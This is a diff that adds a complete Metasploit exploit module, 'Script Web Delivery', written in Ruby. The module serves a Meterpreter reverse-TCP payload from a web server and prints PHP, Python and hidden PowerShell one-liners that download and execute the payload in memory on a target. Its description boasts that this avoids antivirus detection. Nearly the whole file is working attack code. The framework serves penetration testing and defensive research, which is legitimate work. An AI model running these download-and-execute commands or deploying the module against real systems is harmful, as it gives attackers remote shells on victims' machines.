|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ManualRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpServer |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Script Web Delivery', |
| 16 | + 'Description' => %q{ |
| 17 | + This module quickly fires up a web server that serves a payload. |
| 18 | + The provided command will start the specified scripting language interpreter and then download and execute the |
| 19 | + payload. The main purpose of this module is to quickly establish a session on a target |
| 20 | + machine when the attacker has to manually type in the command himself, e.g. Command Injection, |
| 21 | + RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not |
| 22 | + write to disk so it is less likely to trigger AV solutions and will allow privilege |
| 23 | + escalations supplied by Meterpreter. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Andrew Smith "jakx" <[email protected]>', |
| 29 | + 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', |
| 30 | + 'Chris Campbell' #@obscuresec - Inspiration n.b. no relation! |
| 31 | + ], |
| 32 | + 'DefaultOptions' => |
| 33 | + { |
| 34 | + 'Payload' => 'python/meterpreter/reverse_tcp' |
| 35 | + }, |
| 36 | + 'References' => |
| 37 | + [ |
| 38 | + [ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'], |
| 39 | + [ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ], |
| 40 | + [ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], |
| 41 | + [ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'] |
| 42 | + ], |
| 43 | + 'Platform' => %w{python php win}, |
| 44 | + 'Targets' => |
| 45 | + [ |
| 46 | + ['Python', { |
| 47 | + 'Platform' => 'python', |
| 48 | + 'Arch' => ARCH_PYTHON |
| 49 | + }], |
| 50 | + ['PHP', { |
| 51 | + 'Platform' => 'php', |
| 52 | + 'Arch' => ARCH_PHP |
| 53 | + }], |
| 54 | + ['PSH_x86', { |
| 55 | + 'Platform' => 'win', |
| 56 | + 'Arch' => ARCH_X86 |
| 57 | + }], |
| 58 | + ['PSH_x64', { |
| 59 | + 'Platform' => 'win', |
| 60 | + 'Arch' => ARCH_X86_64 |
| 61 | + }], |
| 62 | + ], |
| 63 | + 'DefaultTarget' => 0, |
| 64 | + 'DisclosureDate' => 'Jul 19 2013' |
| 65 | + )) |
| 66 | + end |
| 67 | + |
| 68 | + def on_request_uri(cli, request) |
| 69 | + print_status("Delivering Payload") |
| 70 | + if (target.name.include? "PSH") |
| 71 | + data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) |
| 72 | + else |
| 73 | + data = %Q|#{payload.encoded} | |
| 74 | + end |
| 75 | + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) |
| 76 | + end |
| 77 | + |
| 78 | + def primer |
| 79 | + url = get_uri() |
| 80 | + print_status("Run the following command on the target machine:") |
| 81 | + case target.name |
| 82 | + when "PHP" |
| 83 | + print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"") |
| 84 | + when "Python" |
| 85 | + print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") |
| 86 | + when "PSH_x86", "PSH_x64" |
| 87 | + download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" |
| 88 | + print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"") |
| 89 | + end |
| 90 | + end |
| 91 | +end |
0 commit comments